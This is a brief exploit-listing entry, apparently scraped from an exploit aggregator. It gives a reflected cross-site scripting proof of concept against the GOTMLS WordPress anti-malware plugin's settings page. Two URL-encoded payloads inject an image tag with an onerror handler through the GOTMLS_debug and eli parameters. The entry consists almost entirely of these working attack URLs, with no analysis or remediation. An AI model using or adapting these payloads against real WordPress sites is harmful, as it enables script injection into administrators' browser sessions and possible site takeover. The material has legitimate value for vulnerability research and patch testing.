Share
## https://sploitus.com/exploit?id=WPEX-ID:276A7FC5-3D0D-446D-92CF-20060AECD0EF
https://example.com/wp-admin/admin.php?page=GOTMLS-settings&GOTMLS_debug=%3C%2Fscript%3E%3Cimg+src+onerror%3Dalert%281%29%3B%3E

Also possible with the $_GET['eli'] parameter: http://example.com/wp-admin/admin.php?page=GOTMLS-settings&eli=%3C%2Fscript%3E%3Cimg+src+onerror%3Dalert%281%29%3B%3E